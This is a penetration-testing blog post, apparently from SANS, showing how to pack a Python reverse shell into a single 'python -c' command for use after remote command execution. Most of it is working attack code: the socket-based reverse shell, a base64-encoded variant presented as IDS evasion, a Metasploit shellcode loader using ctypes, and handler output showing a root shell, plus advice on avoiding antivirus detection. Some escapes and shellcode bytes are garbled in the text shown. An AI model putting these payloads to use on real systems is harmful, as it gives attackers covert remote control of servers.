DevSecOps

Python One Line Shellcode

You have remote command execution on a linux web server. Your normal tricks for getting a shell don’t work but you know that the system has a fully functional python interpreter. In order to make your attack work you need to put the entire attack into a single command line passed to a python interpreter with the -c option. Here are a few python based one liners that can be executed with the -c option and tips for creating additional shells. Each of these examples shovel a shell to localhost. Start up a netcat listener to receive the shell ($nc -l -p 9000) before launching these sample attacks.

First we start out with a simple python reverse tcp connect shell like this one.


import socket
import subprocess
s=socket.socket()
s.connect(("127.0.0.1",9000))
while 1:
p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(p.stdout.read() + p.stderr.read())

Then we try to collapse it down to one line by separating the existing lines with semicolons. That is simple enough, but there is a problem. Python relies on spacing to indicate the start and end of a code block. The while loop doesn’t want to collapse to a single line. But we can get it down to two lines.
>>> import socket;import subprocess ;s=socket.socket() ;s.connect(("127.0.0.1",9000)) 
>>> while 1: p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE); s.send(p.stdout.read() + p.stderr.read())

If you keep the spacing straight and put those two lines into an interactive python session it works properly. As soon as you try to collapse the two lines with a semicolon you get a syntax error. The good news is you can get around that with the “exec” method. Python’s exec method is similar to “eval()” in javascript and we can use it to interpret a script with “n” (new lines) in it to separate the lines. Using this technique we get the following one line python shell.
markbaggett$ python -c "exec("import socket, subprocess;s = socket.socket();s.connect((‘127.0.0.1’,9000))nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"

Setup a netcat listner on your localhost listening on port 9000 and this works very nicely. If we are going to use exec(), we might as well add a little IDS evasion to the mix and obscure our code. So lets drop into interactive python and encode our payload.
markbaggett$ python
Python 2.5.1 (r251:54863, May 5 2011, 18:37:34)
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> shellcode="import socket, subprocess;s = socket.socket();s.connect((‘127.0.0.1’,9000))nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())"
>>> shellcode.encode("base64")
‘aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgonJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJlnY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwncm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJlnYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkpn’

Next we take the base64 encoded version of our payload and exec() that with the decode() method to turn it back into our script source before execution. Our one liner becomes this:
markbaggett$ python -c "exec(‘aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgonJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJlnY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwncm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJlnYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkpn’.decode(‘base64’))"

Now lets apply this technique to a python shells that executes a payload from the Metasploit framework such as the one I discussed on the SANS Penetration Testing Blog. With this technique I create a python script that executes a payload from the metasploit framework. In this example I’ll use the osx reverse tcp shell. After grabbing the stage1 bytes from "$./msfpayload osx/x86/shell_reverse_tcp LHOST=127.0.0.1 C" ( see SANS blog ) I built the following python script.
from ctypes import *
reverse_shell = "x68x7fx00x00x01x68xffx02x11x5cx89xe7x31xc0x50x6ax01x6ax02x6ax10xb0x61xcdx80x57x50x50x6ax62x58xcdx80x50x6ax5ax58xcdx80xffx4fxe8x79xf6x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x54x54x53x50xb0x3bxcdx80"
memorywithshell = create_string_buffer(reverse_shell, len(reverse_shell))
shellcode = cast(memorywithshell, CFUNCTYPE(c_void_p))
shellcode()

Spaces and carriage returns aren’t a problem for this very simple script so with a few semicolons we get the following one liner. We don’t need to use the "exec()" function since we don’t need to interpret multiple lines.
root# python -c "from ctypes import *;reverse_shell = "x68x7fx00x00x01x68xffx02x11x5cx89xe7x31xc0x50x6ax01x6ax02x6ax10xb0x61xcdx80x57x50x50x6ax62x58xcdx80x50x6ax5ax58xcdx80xffx4fxe8x79xf6x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x54x54x53x50xb0x3bxcdx80";memorywithshell = create_string_buffer(reverse_shell, len(reverse_shell));shellcode = cast(memorywithshell, CFUNCTYPE(c_void_p));shellcode()"

Before pressing enter on the shell above you will need to setup the framework multi/handler to receive the incoming shell.. This time the shell is connecting back to the default port of 4444 so we set it up as follows:
msf > use multi/handler
msf exploit(handler) > set payload osx/x86/shell_reverse_tcp
payload => osx/x86/shell_reverse_tcp
msf exploit(handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(handler) > exploit
[*] Started reverse handler on 127.0.0.1:4444
[*] Starting the payload handler…
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54471) at 2011-10-20 09:19:03 -0400
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),80(admin),20(staff),101(com.apple.sharepoint.group.1)

If you want to go back and add the exec() function to encode this payload and avoid IDS keep in mind your payload may contain ASCII representations of NULL (0x00) characters. In ASCII it is harmless, but once you encode it you may have trouble decoding it. If you want to encode that payload run your output through msfencode and use the -b option to eliminate null characters from your payload.
As an aside, it is worth noting that when you compile this to an exe with pyinstaller you create a python interpreter with an ASCII representation of your script it it. Today no antivirus software detects the ascii source code of Metasploit payloads as malicious. I’m just saying. There you go. Simple, but effective. :)
Tweets – @markbaggett
Join me and Ed Skoudis for SANS 560 Network Penetration Testing and Ethical Hacking vLive ! Starting January 10, 2012 (wow.. 2012 already) CLICK HERE for more information.

Get daily email updates

SC Media's daily must-read of the most current and pressing daily news

By clicking the Subscribe button below, you agree to SC Media Terms and Conditions and Privacy Policy.